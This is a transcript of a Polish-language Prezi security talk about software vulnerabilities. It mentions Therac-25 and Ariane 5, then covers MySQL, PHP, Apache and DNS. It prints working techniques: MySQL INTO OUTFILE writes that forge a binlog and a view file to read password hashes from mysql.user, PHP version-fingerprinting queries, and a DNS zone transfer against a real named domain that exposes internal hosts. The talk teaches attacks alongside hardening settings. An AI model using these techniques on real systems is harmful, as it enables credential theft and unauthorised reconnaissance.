Introducing 

Prezi AI.

Your new presentation assistant.

Refine, enhance, and tailor your content, source relevant images, and edit visuals quicker than ever before.

Loading…
Transcript

PODATNOŚĆ = DZIURA

Therac-25

Spis treści

Jeden obrazek Marsa warty 125 milionów $

ARIANE 5, czyli jak ulotnić 5 milionów $

a

Software is like SEX

& SAFE

  • Czym jest podatność lub dziura w systemie albo aplikacji?
  • Best bug ever!
  • Powódy ataków na nasze seriwsy?
  • MySQL
  • Troszkę o PHP i Apache
  • DNS
  • Niebezpieczeństwo w crossdomain.xml
  • Zabawy z archiwami ZIP, RAR, JAR etc.
  • Windows wcale nie lepysz

- it's better when it's FREE

Linus Torvalds

& Kamil Porembiński

Główną przyczyną nieprawidłowego funkcjonowania urządzeń był błąd typu race condition, na skutek którego w pewnych trudnych do odtworzenia warunkach (przy odpowiednio szybkiej pracy biegłego operatora), nie dochodziło do prawidłowej inicjalizacji wszystkich parametrów zabiegu.

Co jest takiego niebezpiecznego w MySQLu?

FILE PRIVILEGES

Zbieranie informacji

Pozwala nam czytać i pisać pliki jako MySQL

Magiczne 49.7

SELECT x'FE62696E9A[...]20276B616D696C27'

INTO OUTFILE '/var/lib/mysql/mysql-bin.000003'

FIELDS ESCAPED BY '';

Może sie nie udać, gdyż MySQL wewnętrznie pilnuje kolejności logów...

... ale ...

kiedy np. przywracamy ręcznie bazę (point-in-time backup restore)

  • Użytkownicy + Uprawnienia (brak grup)
  • Połączenia SSL
  • Funkcje szyfrujące AES, DES ale nie wszędzie
  • Domyślnie root bez hasła
  • SUPER + FILE
  • Domyślnie słucha na każdym interfejsie
  • log_warnings = 2
  • plain text

Powody włamań na serwisy WWW

Podglądanie danych

SELECT 'TYPE=VIEW

query=select `mysql`.`user`.`User`,`mysql`.`user`.`Host`,`mysql`.`user`.`Password`

FROM `mysql`.`user`

md5=d06041aadcf9daa646bb85bfccb33d01

[...]

client_cs_name=utf8

connection_cl_name=utf8_general_ci

view_body_utf8=select `mysql`.`user`.`User`,`mysql`.`user`.`Host`,`mysql`.`user`.`Password` from `mysql`.`user`'

INTO OUTFILE '/var/lib/mysql/kamil/kamil.frm'

FIELDS ESCAPED BY ''

LINES TERMINATED BY '\n';

Tworzymy plik widoku, którego definiujemy jako SELECT z mysql.user. Użytkownik kamil nie ma tam praw, ale MySQL ma ;-)

root@zimowisko:/# curl -I http://zimowisko

HTTP/1.1 200 OK

Date: Fri, 08 Mar 2013 05:26:38 GMT

Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.5 with Suhosin-Patch mod_ssl/2.2.22 OpenSSL/1.0.1

X-Powered-By: PHP/5.3.10-1ubuntu3.5

Vary: Accept-Encoding

Content-Type: text/html

Podsłuchiwanie

ServerTokens Prod, ServerSignature Off, TraceEnable Off

Deface

97% z 300 sprawdzanych serwisów webowych było podatnych na ataki. źródło: raport Gartnera

root@zimowisko:/# curl -I http://zimowisko

HTTP/1.1 200 OK

Date: Fri, 08 Mar 2013 05:28:17 GMT

Server: Apache

Vary: Accept-Encoding

Content-Type: text/html

Dla zabawy

Pytania?

Political reasons

?=PHPE9568F36-D428-11d2-A769-00AA001ACF42

?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

Patriotism

expose_php = off w php.ini

Revenge against that website

Twarz z frytkami: 4.0.0 - 4.2.3

Brązowy pies: 4.3.0 - 4.3.10

Czarny pies: 4.3.11 - 4.4.6 oraz 5.0.4 - 5.1.2

Królik: 5.0.0 - 5.0.3

Rozmazane logo PHP: 5.1.3 - 5.2.13

Niebieski słoń: 5.3.0 - 5.4.12

DNS czasem bywa zbyt gadatliwy

dig NS poczta-polska.pl

dig @ns-bdg2.poczta-polska.pl axfr poczta-polska.pl

en-testwebapi.poczta-polska.pl. 3600 IN A 194.99.117.8

en-testwebapi2.poczta-polska.pl. 3600 IN A 194.99.117.17

allow-transfer { 192.168.1.0/24; 158.117.111.134; };

Learn more about creating dynamic, engaging presentations with Prezi